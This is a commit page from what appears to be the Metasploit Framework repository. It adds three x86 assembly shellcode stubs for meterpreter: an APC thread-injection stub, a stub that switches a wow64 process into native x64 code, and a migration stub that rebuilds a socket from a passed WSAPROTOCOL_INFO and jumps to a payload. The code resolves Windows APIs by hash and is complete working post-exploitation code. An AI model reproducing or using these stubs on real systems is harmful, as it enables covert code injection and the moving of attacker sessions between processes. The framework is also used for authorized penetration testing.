For now just adding in the new APC migrate stubs and the wow64->x64 exec stub. (fix up the build scripts and use a dedicated migrate directory for this stuff).
git-svn-id: file:///home/svn/framework3/trunk@8193 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
@@ -0,0 +1,55 @@
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Architecture: x86 (but not wow64)
|
||||
; Version: 1.0 (Jan 2010)
|
||||
; Size: 183 bytes
|
||||
; Build: >build.py apc
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
; A small stub to be used for thread injection where we gain execution via an injected APC. See the
|
||||
; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_dispatch.c" for more details
|
||||
|
||||
;typedef struct _APCCONTEXT
|
||||
;{
|
||||
; union
|
||||
; {
|
||||
; LPVOID lpStartAddress;
|
||||
; BYTE bPadding1[8];
|
||||
; } s;
|
||||
; union
|
||||
; {
|
||||
; LPVOID lpParameter;
|
||||
; BYTE bPadding2[8];
|
||||
; } p;
|
||||
; BYTE bExecuted;
|
||||
;} APCCONTEXT, * LPAPCCONTEXT;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
mov eax, [esp+4] ; EAX is a pointer to our apc stub context
|
||||
push ebp ; Prologue, save EBP...
|
||||
mov ebp, esp ; And create a new stack frame
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
delta: ;
|
||||
%include "./src/block/block_api.asm" ;
|
||||
start: ;
|
||||
pop ebx ; Pop off the address of 'api_call' for calling later.
|
||||
cmp byte [eax+16], 0 ; Has this context allready been injected
|
||||
jne cleanup ; If so just leave this APC
|
||||
mov byte [eax+16], 1 ; Otherwise mark the context as executed and proceed
|
||||
xor ecx, ecx ; Clear ECX
|
||||
push ecx ; lpThreadId
|
||||
push ecx ; dwCreationFlags
|
||||
push dword [eax+8] ; ctx->lpParameter
|
||||
push dword [eax] ; ctx->lpStartAddress
|
||||
push ecx ; dwStackSize
|
||||
push ecx ; lpThreadAttributes
|
||||
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
|
||||
call ebx ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL );
|
||||
cleanup:
|
||||
leave ; epilogue
|
||||
retn 12 ; Return (cleaning up stack params) and finish our APC routine.
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP
|
||||
; Architecture: wow64
|
||||
; Version: 1.0 (Jan 2010)
|
||||
; Size: 75 bytes
|
||||
; Build: >build.py executex64
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
; A simple function to execute native x64 code from a wow64 (x86) process.
|
||||
; Can be called from C using the following prototype:
|
||||
; typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );
|
||||
; The native x64 function you specify must be in the following form (as well as being x64 code):
|
||||
; typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );
|
||||
|
||||
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
|
||||
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
|
||||
|
||||
[BITS 32]
|
||||
|
||||
WOW64_CODE_SEGMENT EQU 0x23
|
||||
X64_CODE_SEGMENT EQU 0x33
|
||||
|
||||
start:
|
||||
push ebp ; prologue, save EBP...
|
||||
mov ebp, esp ; and create a new stack frame
|
||||
push esi ; save the registers we shouldn't clobber
|
||||
push edi ;
|
||||
mov esi, [ebp+8] ; ESI = pFunction
|
||||
mov ecx, [ebp+12] ; ECX = dwParameter
|
||||
call delta ;
|
||||
delta:
|
||||
pop eax ;
|
||||
add eax, (native_x64-delta) ; get the address of native_x64
|
||||
|
||||
sub esp, 8 ; alloc some space on stack for far jump
|
||||
mov edx, esp ; EDX will be pointer our far jump
|
||||
mov dword [edx+4], X64_CODE_SEGMENT ; set the native x64 code segment
|
||||
mov dword [edx], eax ; set the address we want to jump to (native_x64)
|
||||
|
||||
call go_all_native ; perform the transition into native x64 and return here when done.
|
||||
|
||||
add esp, (8+4+8) ; remove the 8 bytes we allocated + the return address which was never popped off + the qword pushed from native_x64
|
||||
pop edi ; restore the clobbered registers
|
||||
pop esi ;
|
||||
pop ebp ; restore EBP
|
||||
retn (4*2) ; return to caller (cleaning up our two function params)
|
||||
|
||||
go_all_native:
|
||||
mov edi, [esp] ; EDI is the wow64 return address
|
||||
jmp dword far [edx] ; perform the far jump, which will return to the caller of go_all_native
|
||||
|
||||
native_x64:
|
||||
[BITS 64] ; we are now executing native x64 code...
|
||||
xor rax, rax ; zero RAX
|
||||
push rdi ; save RDI (EDI being our wow64 return address)
|
||||
call rsi ; call our native x64 function (the param for our native x64 function is allready in RCX)
|
||||
pop rdi ; restore RDI (EDI being our wow64 return address)
|
||||
push rax ; simply push it to alloc some space
|
||||
mov dword [rsp+4], WOW64_CODE_SEGMENT ; set the wow64 code segment
|
||||
mov dword [rsp], edi ; set the address we want to jump to (the return address from the go_all_native call)
|
||||
jmp dword far [rsp] ; perform the far jump back to the wow64 caller...
|
||||
@@ -0,0 +1,67 @@
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Architecture: x86
|
||||
; Version: 1.0 (Jan 2010)
|
||||
; Size: 219 bytes
|
||||
; Build: >build.py migrate
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
; typedef struct MigrateContext
|
||||
; {
|
||||
; union
|
||||
; {
|
||||
; HANDLE hEvent;
|
||||
; BYTE bPadding1[8];
|
||||
; } e;
|
||||
; union
|
||||
; {
|
||||
; LPVOID lpPayload;
|
||||
; BYTE bPadding2[8];
|
||||
; } p;
|
||||
; WSAPROTOCOL_INFO info;
|
||||
; } MIGRATECONTEXT, * LPMIGRATECONTEXT;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
mov esi, [esp+4] ; ESI is a pointer to our migration stub context
|
||||
sub esp, 0x2000 ; Alloc some space on stack
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
delta: ;
|
||||
%include "./src/block/block_api.asm" ;
|
||||
start: ;
|
||||
pop ebp ; Pop off the address of 'api_call' for calling later.
|
||||
|
||||
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 0x5F327377 ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
push eax ; If we succeed, eax wil be zero, push zero for the flags param.
|
||||
push eax ; Push null for reserved parameter
|
||||
lea ebx, [esi+16] ;
|
||||
push ebx ; We specify the WSAPROTOCOL_INFO structure from the MigrateContext
|
||||
push eax ; We do not specify a protocol
|
||||
inc eax ;
|
||||
push eax ; Push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; Push AF_INET
|
||||
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, &info, 0, 0 );
|
||||
xchg edi, eax ; Save the socket for later, we don't care about the value of eax after this
|
||||
|
||||
push dword [esi] ; Push the event
|
||||
push 0x35269F1D ; hash( "kernel32.dll", "SetEvent" )
|
||||
call ebp ; SetEvent( hEvent );
|
||||
|
||||
call dword [esi+8] ; Call the payload...
|
||||
Reference in New Issue
Block a user